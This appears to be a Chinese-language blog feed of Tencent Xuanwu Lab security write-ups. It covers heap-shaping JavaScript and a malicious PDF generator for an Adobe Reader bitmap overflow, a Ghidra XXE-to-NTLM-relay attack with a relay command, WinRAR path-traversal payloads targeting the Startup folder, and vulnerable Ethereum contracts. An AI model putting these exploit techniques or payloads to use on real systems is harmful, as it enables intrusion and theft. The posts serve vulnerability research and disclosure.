    pdf_part1 = pdf_part1.replace('__STREAM_LENGTH__', '%d' % len(pdf_part2))

    pdf_data = pdf_part1 + pdf_part2 + pdf_part3
    pdf_data = pdf_data.replace('__XREF_OFFSET__', '%d' % pdf_data.find('xref'))

    with open(pdf_path, 'wb') as f:
        f.write(pdf_data)

if __name__ == '__main__':
    if len(sys.argv) != 4:
        filename = os.path.basename(sys.argv[0])
        print 'Usage: %s <input.bmp> <template.pdf> <output.pdf>' % filename
        sys.exit(1)
    generate_pdf(sys.argv[1], sys.argv[2], sys.argv[3])

5.5 利用技巧

5.5.1 内存布局 (1)

这里借助 ArrayBuffer 来完成内存布局。

因为位图解析过程中创建的堆块大小为 0xF0 字节,因此 ArrayBufferbyteLength 可以设置为 0xE0 。为了创建内存空洞,可以先创建大量的 ArrayBuffer 对象,然后间隔释放其中的一半对象,理想情况下的内存布局如下:

┌─────────────┬─────────────┬─────────────┬─────────────┐
│ ArrayBuffer │     Hole    │ ArrayBuffer │     Hole    │
└─────────────┴─────────────┴─────────────┴─────────────┘
│ <-  0xF0 -> │

在触发漏洞时,位图解析相关的堆块会落到其中一个空洞上:

┌─────────────┬─────────────┬─────────────┬─────────────┐
│ ArrayBuffer │ Bitmap Data │ ArrayBuffer │     Hole    │
└─────────────┴─────────────┴─────────────┴─────────────┘

因为可以向低地址方向越界写 0xF4 字节的 0x10 数据,所以触发漏洞之后,ArrayBuffer 对象的 backing store 的内存布局如下:

0:014> dd 304c8398
;            -, byteLength, viewobj,       -,
304c8398  00000000 10101010 10101010 10101010
;         ArrayBuffer 数据
304c83a8  10101010 10101010 10101010 10101010
304c83b8  10101010 10101010 10101010 10101010
304c83c8  10101010 10101010 10101010 10101010
304c83d8  10101010 10101010 10101010 10101010
304c83e8  10101010 10101010 10101010 10101010
304c83f8  10101010 10101010 10101010 10101010
304c8408  10101010 10101010 10101010 10101010
304c8418  10101010 10101010 10101010 10101010
304c8428  10101010 10101010 10101010 10101010
304c8438  10101010 10101010 10101010 10101010
304c8448  10101010 10101010 10101010 10101010
304c8458  10101010 10101010 10101010 10101010
304c8468  10101010 10101010 10101010 10101010
304c8478  10101010 10101010 10101010 10101010 ; ArrayBuffer 结束
; 下一个堆块的元数据(存储位图数据的堆块)
304c8488  10101010 10101010
; 位图数据
304c8490                    00000000 00000000

此时 ArrayBuffer 对象的 byteLength 被改成了 0x10101010 ,但是 DataView 对象的指针也被改成了 0x10101010 ,前面提到过这会导致进程崩溃。

5.5.2 内存布局 (0)

为了避免进程崩溃,需要提前在地址 0x10101010 上布局数据,让这个地址看起来就是一个 DataView 指针。很明显,为了漏洞利用更加稳定,我们需要一开始就在这里布局好数据。

同样,这里借助 ArrayBuffer 实现精确的内存布局:

  • 创建大量 byteLength0xFFE8ArrayBuffer
  • 在特定内存范围内,ArrayBufferbacking store 将有序的出现在地址 0xYYYY0048

之所以选择 0xFFE8 ,是因为这会使得 backing store 所在堆块整体的大小为 0x10000

// 0xFFE8 -> byteLength
// 0x10 -> sizeof ObjectElements
// 0x08 -> sizeof heap block's metadata
0xFFE8 + 0x10 + 0x08 = 0x10000

使用下面的代码进行内存布局,可以有效防止进程崩溃(具体细节不作讲解,相关条件很容易通过动态调试分析出来):

function fillHeap() {
    var array = new Array(0x1200);
    array[0] = new ArrayBuffer(0xFFE8);
    var dv = new DataView(array[0]);

    dv.setUint32(0xFB8, 0x10100058, true);
    dv.setUint32(0, 0x10100158, true);
    dv.setUint32(0xFFA8, 0x10100258, true);
    dv.setUint32(0x200 + 0x14, 0x10100358, true);

    for (var i = 1; i < array.length; ++i) {
        array[i] = array[0].slice();
    }
    return array;
}

当然,这仅仅只能防止漏洞触发后进程的崩溃,如果要为该 ArrayBuffer 关联新的 DataView 来读写数据,那么会导致新的崩溃。同样,填充一点新的数据就可以防止进程崩溃,新的代码如下所示:

function fillHeap() {
    var array = new Array(0x1200);
    array[0] = new ArrayBuffer(0xFFE8);
    var dv = new DataView(array[0]);
    // 防止触发漏洞之后进程立刻 Crash
    dv.setUint32(0xFB8, 0x10100058, true);
    dv.setUint32(0, 0x10100158, true);
    dv.setUint32(0xFFA8, 0x10100258, true);
    dv.setUint32(0x200 + 0x14, 0x10100358, true);
    // 防止关联 DataView 对象时 Crash
    dv.setUint32(0xFFA4, 0x10100458, true);

    for (var i = 1; i < array.length; ++i) {
        array[i] = array[0].slice();
    }
    return array;
}

5.5.3 全局读写

ArrayBuffer 对象的 byteLength 被改成 0x10101010 之后,可以基于这个 ArrayBuffer 对象修改下一个 ArrayBuffer 对象的 byteLength 。在基于 ArrayBuffer 创建内存空洞时,可以在每一个 ArrayBuffer 上存储特定的标记值,这样在内存中搜索 ArrayBuffer 对象就非常简单了。

  (1)byteLength            (3)Global Access
 ┌─<───<───<───┐            <──────┬──────>
┌┼────────────┬┼────────────┬──────┼──────┬─────────────┐
│ ArrayBuffer │ Bitmap Data │ ArrayBuffer │     Hole    │
└──────┼──────┴─────────────┴┼────────────┴─────────────┘
       └──>───>───>───>────>─┘
        (2) byteLength to -1

当下一个 ArrayBuffer 对象的 byteLength 被改成 0xFFFFFFFF 时,基于这个 ArrayBuffer 对象就可以实现用户态空间的全局读写了。

5.5.4 任意地址读写

一旦拥有全局读写的能力,我们就可以向低地址方向来搜索特定的关键字来定位 ArrayBuffer 对象在内存中的绝对地址,然后基于这个绝对地址来实现任意地址读写。

这里可以通过搜索 ffeeffee 或者 f0e0d0c0 来定位,为了提高准确性,需要同时校验关键字附近的数据的取值范围。

0:014> dd 30080000
30080000  16b80e9e 0101331b ffeeffee 00000002  ; ffeeffee
30080010  055a00a4 2f0b0010 055a0000 30080000  ; +0x14 -> 30080000
30080020  00000fcf 30080040 3104f000 000002e5
30080030  00000001 00000000 30d69ff0 30d69ff0
30080040  3eb82e96 08013313 00000000 0000ffe8
30080050  00000000 00000000 10100158 00000000
30080060  00000000 00000000 00000000 00000000
30080070  00000000 00000000 00000000 00000000

0:014> dd 305f4000
305f4000  00000000 00000000 6ab08d69 0858b71a
305f4010  0bbab388 30330080 0ff00112 f0e0d0c0  ; f0e0d0c0
305f4020  15dc2c3f 00000430 305f402c d13bc929  ; +0x0C -> 305f402c
305f4030  e5c521a7 d9b264d4 919cee58 45da954e
305f4040  5c3f608b 2b5fd340 0bae3aa9 2b5fd340
305f4050  0fae32aa d13bc929 e5c521a7 d9b264d4
305f4060  919cee58 45da954e 9c3f608b f952aa94
305f4070  989c772a a1dd934a ac5b154b 2fadd038

5.5.5 剩余步骤

在拥有任意地址读写能力之后,实现代码执行就是固定的套路了,本文对此不做详细介绍。

剩余的步骤如下:

  • EIP 劫持
  • ASLR 绕过
  • DEP 绕过
  • CFG 绕过

0x06. CVE-2013-2729

前面提到一共找到了三处整数溢出,其中一处位于 RLE8 数据解析过程中,另外两处位于 RLE4 数据解析过程中。难道不应该有四个位置存在整数溢出吗?为什么只找到了三个?

因为有一个在六年前已经修复了(参考 feliam’s write up for CVE-2013-2729)!从版本 2019.012.20035 中的代码也可以看到,确实有一个地方判断了整数溢出的情况,这就是 CVE-2013-2729 引入的补丁。

dst_xpos = BYTE1(cmd) + xpos;
if ( ypos >= height || dst_xpos < xpos || 
     dst_xpos < BYTE1(cmd) || dst_xpos > width )  // overflow check
  goto LABEL_170;         // CxxThrowException

然而 Adobe 仅仅修补了报告的这一个位置,而忽略了其他三个位置上的整数溢出。

0x07. 经验教训

对厂商而言,在深入理解漏洞本质的同时,还可以看看是不是有类似的问题需要修复。

对安全研究人员而言,分析完漏洞之后还可以顺便看一下厂商的修复方式,也许不经意间就能发现新的漏洞。

]]>
Ghidra 从 XXE 到 RCE //xlab.tencent.com/cn/2019/03/18/ghidra-from-xxe-to-rce/ Mon, 18 Mar 2019 10:21:17 +0000 //xlab.tencent.com/cn/?p=440 继续阅读“Ghidra 从 XXE 到 RCE”]]> 作者:腾讯安全玄武实验室 tomato, salt

0x00 背景

Ghidra是 NSA 发布的一款反汇编工具,它的发布引起了安全研究人员的极大兴趣。
有研究人员发现Ghidra在加载工程时会存在XXE,基于笔者之前对XXE漏洞利用研究发现,攻击者可以利用Java中的特性以及Windows操作系统中NTLM认证协议的缺陷的组合来完成RCE。

0x01 技术细节

Java在使用内置类 sun.net.www.protocol.http.HttpURLConnection 发送HTTP请求遇到状态码为401的HTTP返回头时,会判断该页面要求使用哪种认证方式,若采用的NTLM认证则会自动使用当前用户凭据进行认证。
其根本原因在于Windows下的Java默认启用了透明NTLM认证,并且将所有由外部传入的URL地址都认为是可信的。如下面代码段所示

sun.net.www.protocol.http.AuthScheme#NTLM

if (tryTransparentNTLMServer) {
    tryTransparentNTLMServer =
            NTLMAuthenticationProxy.supportsTransparentAuth;
    /* If the platform supports transparent authentication
     * then check if we are in a secure environment
     * whether, or not, we should try transparent authentication.*/
    if (tryTransparentNTLMServer) {
        tryTransparentNTLMServer =
                NTLMAuthenticationProxy.isTrustedSite(url);
    }
}

再跟入NTLMAuthenticationProxy.isTrustedSite方法

public static boolean isTrustedSite(URL url) {
    try {
        return (Boolean)isTrustedSite.invoke(null, url);
    } catch (ReflectiveOperationException roe) {
        finest(roe);
    }

    return false;
}

通过反射调用了sun.net.www.protocol.http.ntlm.NTLMAuthentication中的isTrustedSite方法,在此方法中将所有外部传入的URL都判定为可信的。

攻击者通过搭建基于NTLM认证的HTTP Server即可获取到当前用户的Net-NTLM Hash。

我们再来看NTLM认证协议的缺陷。NTLM认证协议中存在一种很古老的攻击的技术,被称作为NTLM Relay攻击。此攻击的原理网上已经有很多文章进行说明,在此不再赘述。
但在此次漏洞利用方式中我们使用的凭据反射攻击,即为攻击者将受害者的Net-NTLM Hash再次Relay给受害者,达到以彼之道还施彼身的效果。

下面来看看这个过程的具体实现,攻击者首先搭建基于NTLM认证的恶意HTTP Server,然后通过XXE/SSRF等漏洞使受害者向恶意的HTTP Server进行NTLM认证。

值得注意的是,NTLM认证分为两个版本NTLMv1和NTLMv2,在进行NTLMv1类型认证时攻击将获取到的Net-NTLM Hash直接Relay给受害者的SMB服务即可,但是在使用NTLMv2类型认证时,攻击者在Relay时需要将NTLM认证中Type 2 Message的Negotiate Flags进行修改,将Negotiate Always Sign与Negotiate 0x00004000 两个标志位从设置改为不设置,这其中具体代表的含义为让此次认证被认作在网络上(Relay给本机会被当做是一次本地认证)进行以及将认证中的签名进行去除。

为完成该攻击过程,笔者已经编写好脚本

0x03 复现步骤

受害者环境 Oracle JDK 8u161、Win10、Administrator账户

攻击者环境 Ubuntu16.04 IP为192.168.130.136

首先在局域网内另一台机器上运行前面提到的脚本

python ultrarelay.py -ip 192.168.130.136 -smb2support

脚本将会在80端口开启HTTP服务。然后回到Win10中新建一个Ghidra工程,修改工程中的project.prp,插入XXE攻击代码,如下图所示

再次使用Ghidra打开此恶意工程,攻击者就能获取到受害者机器的NTLM Hash,也可通过脚本中的参数在受害者机器上执行任意命令。

0x04 防御措施

1.开启Windows防火墙,禁止外部请求访问SMB服务

2.若要提供SMB服务 则建议开启SMB Sign

3.升级JDK至最新版本

0x05 参考资料

https://twitter.com/sghctoma/status/1103392091009413120

https://conference.hitb.org/hitbsecconf2018dxb/materials/D2T2%20-%20NTLM%20Relay%20Is%20Dead%20Long%20Live%20NTLM%20Relay%20-%20Jianing%20Wang%20and%20Junyu%20Zhou.pdf

]]>
全网筛查 WinRAR 代码执行漏洞 (CVE-2018-20250) //xlab.tencent.com/cn/2019/02/22/investigating-winrar-code-execution-vulnerability-cve-2018-20250-at-internet-scale/ Fri, 22 Feb 2019 12:15:32 +0000 //xlab.tencent.com/cn/?p=425 继续阅读“全网筛查 WinRAR 代码执行漏洞 (CVE-2018-20250)”]]> 作者:lywang, dannywei

0x00 背景

WinRAR 作为最流行的解压缩软件,支持多种压缩格式的压缩和解压缩功能。今天,Check Point公司的安全研究员 Nadav Grossman 公开了他在 WinRAR 中发现的一系列漏洞。其中以 ACE 解压缩模块的远程代码执行漏洞(CVE-2018-20250)最具危害力。
WinRAR 为支持 ACE 压缩文件的解压缩功能,集成了一个具有 19 年历史的动态共享库 unacev2.dll。 而此共享库自 2006 年以来再未更新过,也未开启任何漏洞利用缓解技术。Nadav Grossman 在 unacev2.dll 中发现了一个目录穿越漏洞,成功利用此漏洞可导致远程代码执行或 Net-NTLM hash 泄露。

0x01 漏洞描述

ACE 文件的解压模块 unacev2.dll 对解压缩路径进行验证时,未能正确过滤压缩文件中的“相对路径”,导致攻击者结合一些技巧可以绕过安全检查,使压缩文件中恶意构造的“相对路径”被直接用作了解压路径使用。从而可以将恶意代码静默释放到系统启动目录中,最终实现远程代码执行或 Net-NTLM hash 泄露。

0x02 漏洞成因

unacev2.dll 模块在解压 ACE 文件时,将对解压缩路径进行验证。它从压缩文件中提取待解压文件的相对路径 file_relative_path,使用 GetDevicePathLen(file_relative_path) 对其进行校验,根据返回结果进行最终解压路径的拼接。如下图所示:

(图片来源:https://research.checkpoint.com/extracting-code-execution-from-winrar/)

当 GetDevicePathLen(file_relative_path) 返回 0 时,将使用 WinRAR 提供的解压路径与压缩文件中的相对路径拼接,得到最终的解压路径:

sprintf(final_file_path, "%s%s", destination_folder, file_relative_path);

而当 GetDevicePathLen(file_relative_path) 返回非 0 时,仅使用压缩文件中的“相对路径”作为最终的解压路径:

sprintf(final_file_path, "%s%s", "", file_relative_path);

因此,若攻击者能够构造恶意的相对路径,在绕过 WinRAR 回调函数 StateCallbackProc() ,unacev2.dll!CleanPath() 等一系列路径检测和过滤函数的前提下,使 unacev2.dll!GetDevicePathLen(file_relative_path) 返回非0值,便可以使得使用恶意构造的相对路径作为最终解压路径,将恶意文件解压至指定目录中。

最终,Nadav Grossman 构造了两种攻击路径:

编号 恶意的相对路径 最终的解压路径
1 C:\C:\some_folder\some_file.ext C:\some_folder\some_file.ext
2 C:\\10.10.10.10\smb_folder_name\some_folder\some_file.ext \10.10.10.10\smb_folder_name\some_folder\some_file.ext

攻击路径 1 的危害:攻击者可以使用漏洞,将恶意文件静默释放至可能造成危害的路径中实现攻击。
攻击路径 2 的危害: 攻击者可以获取受害者的Net-NTLM hash,从而使用NTLM Relay的方式攻击受害者。

值得一提的是,由于 WinRAR 运行在普通用户权限下,使得攻击者无法将恶意文件静默释放至路径已知的系统启动目录(”C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”)。而释放至用户启动目录(”C:\Users\<user name>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”)需要提前预知受害者的登陆用户名或者进行暴力猜测。
好在大多数此类攻击场景均是受害者将恶意构造的压缩文件下载至桌面(C:\Users\<user name>\Desktop)或者下载目录(C:\Users\<user name>\Downloads),而当压缩文件通过双击解压或右键解压缩时,当前的WinRAR的工作路径与压缩文件一致。这使得攻击者无需猜测受害者用户名,可通过目录穿越的方式将恶意文件释放至用户启动目录,待受害者系统启动时实现任意代码执行。在此前提下, Nadav Grossman 构造了如下的相对路径,使得远程代码执行攻击得以成功:

"C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\some_file.exe"

0x03 影响范围

unacev2.dll 作为一个第三方共享库,也被其它一些支持 ACE 文件格式解压的软件所使用,这些软件也同样受到该漏洞的影响。
利用玄武实验室自研的“阿图因”系统,我们对已收录的全网 PC 软件进行了扫描,统计了 unacev2.dll 的使用情况,其版本分布情况如下图所示:

通过“阿图因”系统,我们还能够对使用了该共享库的软件进行反向溯源,目前扫描到了受影响的有 24 款国外软件,15 款国产软件。
多数受影响的软件都可以被归类为工具软件。其中至少有9款压缩软件,以及8款文件浏览器。还有其它许多软件将 unacev2.dll 作为 WinRAR 的一部分放在了自己的软件包中,作为解压模块使用。

0x04 修复建议

目前,WinRAR 已经在 5.70 Beta 1 版本中修复了这个问题。由于开发 ACE 解压模块的公司已于 2017 年 8 月关闭,而且 unacev2.dll 共享库并没有公开源码,导致漏洞无法被正确修复。因此 WinRAR 的修复方案是直接将 unacev2.dll 模块移除,并决定不再支持 ACE 文件格式的解压。

另外,360压缩在最新版本中也已经修复了这个问题,修复方案同样是移除 unacev2.dll 模块。
对于其它受影响软件的用户,我们建议您关注相关软件的修复更新情况,及时更新版本。在软件开发商主动修复之前,可以通过手动删除安装目录下的 unacev2.dll 模块来应急修复。

0x05 参考资料

[1] Extracting a 19 Year Old Code Execution from WinRAR https://research.checkpoint.com/extracting-code-execution-from-winrar/

[2] ACE (compressed file format) https://en.wikipedia.org/wiki/ACE_(compressed_file_format)

]]>
从一起“盗币”事件看以太坊存储 hash 碰撞问题 //xlab.tencent.com/cn/2018/11/09/pay-attention-to-the-ethereum-hash-collision-problem-from-the-stealing-coins-incident/ Fri, 09 Nov 2018 04:01:24 +0000 //xlab.tencent.com/cn/?p=404 继续阅读“从一起“盗币”事件看以太坊存储 hash 碰撞问题”]]> Author : Kai Song(exp-sky)、hearmen、salt、sekaiwu of Tencent Security Xuanwu Lab

“盗币”

十一月六日,我们观察到以太坊上出现了这样一份合约,经调查发现是某区块链安全厂商发布的一份让大家来“盗币”的合约。

pragma solidity ^0.4.21;
contract DVPgame {
    ERC20 public token;
    uint256[] map;
    using SafeERC20 for ERC20;
    using SafeMath for uint256;
    constructor(address addr) payable{
        token = ERC20(addr);
    }
    function (){
        if(map.length>=uint256(msg.sender)){
            require(map[uint256(msg.sender)]!=1);
        }
        if(token.balanceOf(this)==0){
            //airdrop is over
            selfdestruct(msg.sender);
        }else{
            token.safeTransfer(msg.sender,100);

            if (map.length <= uint256(msg.sender)) {
                map.length = uint256(msg.sender) + 1;
            }
            map[uint256(msg.sender)] = 1;  

        }
    }
    //Guess the value(param:x) of the keccak256 value modulo 10000 of the future block (param:blockNum)
    function guess(uint256 x,uint256 blockNum) public payable {
        require(msg.value == 0.001 ether || token.allowance(msg.sender,address(this))>=1*(10**18));
        require(blockNum>block.number);
        if(token.allowance(msg.sender,address(this))>0){
            token.safeTransferFrom(msg.sender,address(this),1*(10**18));
        }
        if (map.length <= uint256(msg.sender)+x) {
            map.length = uint256(msg.sender)+x + 1;
        }

        map[uint256(msg.sender)+x] = blockNum;
    }
    //Run a lottery
    function lottery(uint256 x) public {
        require(map[uint256(msg.sender)+x]!=0);
        require(block.number > map[uint256(msg.sender)+x]);
        require(block.blockhash(map[uint256(msg.sender)+x])!=0);
        uint256 answer = uint256(keccak256(block.blockhash(map[uint256(msg.sender)+x])))%10000;
        if (x == answer) {
            token.safeTransfer(msg.sender,token.balanceOf(address(this)));
            selfdestruct(msg.sender);
        }
    }
}

经过观察之后,我们在这个合约中,发现了我们之前研究的一个 EVM 存储的安全问题,即 EVM 存储中的 hash 碰撞问题。

首先,针对上面的合约,如果构造出 x == uint256(keccak256(block.blockhash(map[uint256(msg.sender)+x])))%10000 即可在 lottery 方法中获取到该合约中的以太币,但是这个 x 的值,只能通过不断的猜测去得到,并且概率微乎其微。

然后,我们发现在合约的 fallback 函数中,也存在一个 selfdestruct 函数可以帮助我们完成“盗币”任务,但是要求本合约地址在 token 合约中的余额为 0。

根据我们之前对于 EVM 存储的分析,我们发现在 guess 函数中存在对 map 类型数据任意偏移进行赋值 map[uint256(msg.sender)+x] = blockNum;,由于在 EVM 中,map 类型中数据存储的地址计算方式为 address(map_data) = sha(key,slot)+offset,这就造成了一个任意地址写的问题,如果我们能够覆盖到token 变量,就能向 token 写入我们构造的合约,保证 DVPgame 合约在我们构造合约中的余额为 0,这样就能执行 DVPgame 合约的 selfdestruct 函数完成“盗币”。

token 变量的地址为0,溢出之后可以达到这个值,即我们需要构造 sha(msg.sender,slot)+x==2**256(溢出为0)即可。

深入分析

其实早在六月底的时候,经过对 ETH 以及其运行时环境 EVM 的初步研究,我们已经在合约层面和虚拟机层面分别发现了一些问题,其中变量覆盖以及Hash 碰撞问题是非常典型的两个例子。

变量覆盖

在某些合约中,我们发现在函数内部对 struct 类型的临时变量进行修改,会在某些情况下覆盖已有的全局变量。

pragma solidity ^0.4.23; 
contract Locked {
    bool public unlocked = false;    
    struct NameRecord { 
        bytes32 name;
        address mappedAddress;
    }
    mapping(address => NameRecord) public registeredNameRecord; 
    mapping(bytes32 => address) public resolve;
    function register(bytes32 _name, address _mappedAddress) public {
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 
        resolve[_name] = _mappedAddress;
        registeredNameRecord[msg.sender] = newRecord; 
        require(unlocked); 
    }
}

合约的源码如上面所示,在正常情况下,由于合约并没有提供修改 unlocked 的接口,因此不太可能达到修改它的目的。但是实际上我们在测试中发现,只要调用合约的 register 方法就可以修改 unlocked。

Hash 碰撞

经过对 EVM 的存储结构分析,我们发现 EVM 的设计思路中,在其存储某些复杂变量时可能发生潜在的 hash 碰撞,覆盖已有变量,产生不可预知的问题。

pragma solidity ^0.4.23; 

contract Project
{
    mapping(address => uint) public balances; // records who registered names 
    mapping(bytes32 => address) public resolve; // resolves hashes to addresses

    uint[] stateVar;

    function Resolve() returns (bytes32){
        balances[msg.sender] = 10000000;   
        return sha3(bytes32(msg.sender),bytes32(0));
    }

    function Resize(uint i){
        stateVar.length = i;
    }

    function Rewrite(uint i){
        stateVar[i] = 0x10adbeef; 
    }

}

上面的代码就存在类似的 hash 碰撞问题。查看合约源代码可以看到 balances 字段只能通过 Reslove 接口进行访问,正常情况下 balance 中存放的值是无法被修改的。但是在这个合约中,调用函数 RewritestateVar 进行操作时有可能覆盖掉 balances 中的数据

背景分析

在 EVM 中存储有三种方式,分别是 memory、storage 以及 stack。

  1. memory : 内存,生命周期仅为整个方法执行期间,函数调用后回收,因为仅保存临时变量,故GAS开销很小
  2. storage : 永久储存在区块链中,由于会永久保存合约状态变量,故GAS开销也最大
  3. stack : 存放部分局部值类型变量,几乎免费使用的内存,但有数量限制

首先我们分析一下各种对象结构在 EVM 中的存储和访问情况

Map

首先分析 map 的存储,

    struct NameRecord { 
        bytes32 name; 
        address mappedAddress;
    }
    mapping(bytes32 => address) public resolve; 
    function register(bytes32 _name, address _mappedAddress) public {
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 
        resolve[_name] = _mappedAddress;
    }
}

我们在调试 storage 中 map 结构时发现,map 中数据的存储地址其实是 map.key 以及 map 所在位置 map_slot 二者共同的 hash 值,这个值是一个 uint256。即

address(map_data) = sha(key,slot) 

并且我们同时发现,如果 map 中存储的数据是一个结构体,则会将结构体中的成员分别依次顺序存入 storage 中,存储的位置为 sha(key,slot) + offset,即是直接将成员在结构体中的偏移与之前计算的 hash 值相加作为存储位置。

这种 hash + offset 的 struct 存储方式会直接导致 sha3 算法的 hash 失去意义,在某些情况下产生 sha(key1,slot) + offset == sha(key2,slot) ,即 hash 碰撞。

Array

接下来我们看一下 Array 的情况

调试中发现全局变量的一个定长 Array 是按照 index 顺序排列在 storage 中的。

如果我们使用 new 关键字申请一个变长数组,查看其运行时存储情况

    function GetSome() returns(uint){
        stateVar = new uint[](2);
        stateVar[1] = 0x10adbeef;
        //stateVar = [1,2,4,5,6]; // 这种方式和 new 是一样的
        return stateVar[1];
    }

调试中发现如果是一个变长数组,数组成员的存储位置就是根据 hash 值来选定的了, 数组的存储位置为 sha3(address(array_object))+index。数组本身的 slot 中所存放的只是数组的长度而已,这样也就很好理解为什么存放在 storage 中的变长数组可以通过调整 length 属性来自增。

变长数组仍依照 hash + offset 的方式存储。也有可能出现 hash 碰撞的问题。

Array + Struct

如果数组和结构体组合起来,那么数据在 storage 中的索引将如何确定呢

    struct Person {
        address[] addr;
        uint funds;
    }    
    mapping(address => Person) public people;   
    function f() {
        Person p;
        p.addr = [0xca35b7d915458ef540ade6068dfe2f44e8fa733c,0x14723a09acff6d2a60dcdf7aa4aff308fddc160c];
        p.funds = 0x10af;

        people[msg.sender] = p;
    }

Person 类型的对象 p 第一个成员是一个动态数组 addr,存储 p 对象时,首先在 map 中存储动态数组:

storage[hash(msg_sender,people_slot)] = storage[p+slot]

接着依次存储动态数组内容:

storage[hash(hash(msg_sender,people_slot))] = storage[hash(p_slot)]; storage[hash(hash(msg_sender,people_slot))+1] = storage[hash(p_slot)+1];

最后存储 funds:

storage[hash(msg_sender,people_slot)+1]

同理,数组中的结构体存储也是类似。

问题分析

变量覆盖

pragma solidity ^0.4.23; 
contract Locked {
    bool public unlocked = false;    
    struct NameRecord { 
        bytes32 name;
        address mappedAddress;
    }
    mapping(address => NameRecord) public registeredNameRecord; 
    mapping(bytes32 => address) public resolve;
    function register(bytes32 _name, address _mappedAddress) public {
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 
        resolve[_name] = _mappedAddress;
        registeredNameRecord[msg.sender] = newRecord; 
        require(unlocked); 
    }
}

本合约中 unlocked 变量存储在 storage 中偏移为1 的位置。而在调试中发现 newRecord 对象在 storage 部分的索引位置也是 0 ,和全局 unlocked 相重叠,因此访问 newRecord 的时候也会顺便修改到 unlocked。

调试中我们发现所有的临时变量都是从 storage 的 0 位置开始存储的,如果我们多设置几个临时变量,会发现在函数开始选定 slot 时,所有的临时变量对应的 slot 值都是 0。

成因分析

我们下载 solidity 编译器的源码进行查看,分析这里出现问题的原因。源码可在这里 找到,直接使用 cmake 编译源码即可,编译教程。 solidity 的源码需要引用 boost 库,如果之前没有安装的话需要先安装 boost。编译的过程不再赘述,最终会生成三个可执行文件 (在 Windows 上的编译会有点问题,依赖的头文件没办法自动加入工程,需要手动添加,并且会还有一些字符表示的问题)

  • solc\solc
  • lllc\lllc
  • test\soltest

solc 可以将 sol 源码编译成 EVM 可以运行的 bytecode

调试 Solc ,查看其中对于 struct 作为临时变量时的编译情况

contract Project
{
    uint a= 12345678;
    struct Leak{
        uint s1;
    }
    function f(uint i) returns(uint) {
        Leak l;
        return l.s1;
    }

}

关键代码调用栈如下

>   solc.exe!dev::solidity::ContractCompiler::appendStackVariableInitialisation(const dev::solidity::VariableDeclaration & _variable) Line 951  C++
    solc.exe!dev::solidity::ContractCompiler::visit(const dev::solidity::FunctionDefinition & _function) Line 445   C++
    solc.exe!dev::solidity::FunctionDefinition::accept(dev::solidity::ASTConstVisitor & _visitor) Line 206  C++
    solc.exe!dev::solidity::ContractCompiler::appendMissingFunctions() Line 870 C++
    solc.exe!dev::solidity::ContractCompiler::compileContract(const dev::solidity::ContractDefinition & _contract, const std::map<dev::solidity::ContractDefinition const *,dev::eth::Assembly const *,std::less<dev::solidity::ContractDefinition const *>,std::allocator<std::pair<dev::solidity::ContractDefinition const * const,dev::eth::Assembly const *> > > & _contracts) Line 75  C++
    solc.exe!dev::solidity::Compiler::compileContract(const dev::solidity::ContractDefinition & _contract, const std::map<dev::solidity::ContractDefinition const *,dev::eth::Assembly const *,std::less<dev::solidity::ContractDefinition const *>,std::allocator<std::pair<dev::solidity::ContractDefinition const * const,dev::eth::Assembly const *> > > & _contracts, const std::vector<unsigned char,std::allocator<unsigned char> > & _metadata) Line 39 C++
    solc.exe!dev::solidity::CompilerStack::compileContract(const dev::solidity::ContractDefinition & _contract, std::map<dev::solidity::ContractDefinition const *,dev::eth::Assembly const *,std::less<dev::solidity::ContractDefinition const *>,std::allocator<std::pair<dev::solidity::ContractDefinition const * const,dev::eth::Assembly const *> > > & _compiledContracts) Line 730  C++
    solc.exe!dev::solidity::CompilerStack::compile() Line 309   C++
    solc.exe!dev::solidity::CommandLineInterface::processInput() Line 837   C++
    solc.exe!main(int argc, char * * argv) Line 59  C++

关键函数为 appendStackVariableInitialisation,可以看到这里调用 pushZeroValue 记录临时变量信息,如果函数发现 value 存在于 Storage 中,那么就直接 PUSH 0,直接压入 0!!!所有的临时变量都通过这条路径,换而言之,所有的临时变量 slot 都是 0 。

void ContractCompiler::appendStackVariableInitialisation(VariableDeclaration const& _variable)
{
    CompilerContext::LocationSetter location(m_context, _variable);
    m_context.addVariable(_variable);
    CompilerUtils(m_context).pushZeroValue(*_variable.annotation().type);
}

笔者目前还不能理解这样设计的原因,猜测可能是因为 storage 本身稀疏数组的关系,不便于通过其他额外变量来控制 slot 位置,但是以目前这样的实现,其问题应该更多。

与之相对的全局变量的编译,函数调用栈如下

>   solc.exe!dev::solidity::ContractCompiler::initializeStateVariables(const dev::solidity::ContractDefinition & _contract) Line 403    C++
    solc.exe!dev::solidity::ContractCompiler::appendInitAndConstructorCode(const dev::solidity::ContractDefinition & _contract) Line 146    C++
    solc.exe!dev::solidity::ContractCompiler::packIntoContractCreator(const dev::solidity::ContractDefinition & _contract) Line 165 C++
    solc.exe!dev::solidity::ContractCompiler::compileConstructor(const dev::solidity::ContractDefinition & _contract, const std::map<dev::solidity::ContractDefinition const *,dev::eth::Assembly const *,std::less<dev::solidity::ContractDefinition const *>,std::allocator<std::pair<dev::solidity::ContractDefinition const * const,dev::eth::Assembly const *> > > & _contracts) Line 89   C++
    solc.exe!dev::solidity::Compiler::compileContract(const dev::solidity::ContractDefinition & _contract, const std::map<dev::solidity::ContractDefinition const *,dev::eth::Assembly const *,std::less<dev::solidity::ContractDefinition const *>,std::allocator<std::pair<dev::solidity::ContractDefinition const * const,dev::eth::Assembly const *> > > & _contracts, const std::vector<unsigned char,std::allocator<unsigned char> > & _metadata) Line 44 C++
    solc.exe!dev::solidity::CompilerStack::compileContract(const dev::solidity::ContractDefinition & _contract, std::map<dev::solidity::ContractDefinition const *,dev::eth::Assembly const *,std::less<dev::solidity::ContractDefinition const *>,std::allocator<std::pair<dev::solidity::ContractDefinition const * const,dev::eth::Assembly const *> > > & _compiledContracts) Line 730  C++
    solc.exe!dev::solidity::CompilerStack::compile() Line 309   C++
    solc.exe!dev::solidity::CommandLineInterface::processInput() Line 837   C++
    solc.exe!main(int argc, char * * argv) Line 59  C++

关键函数为 StorageItem::StorageItem ,函数从 storageLocationOfVariable 中获取全局变量在 storage 中的 slot

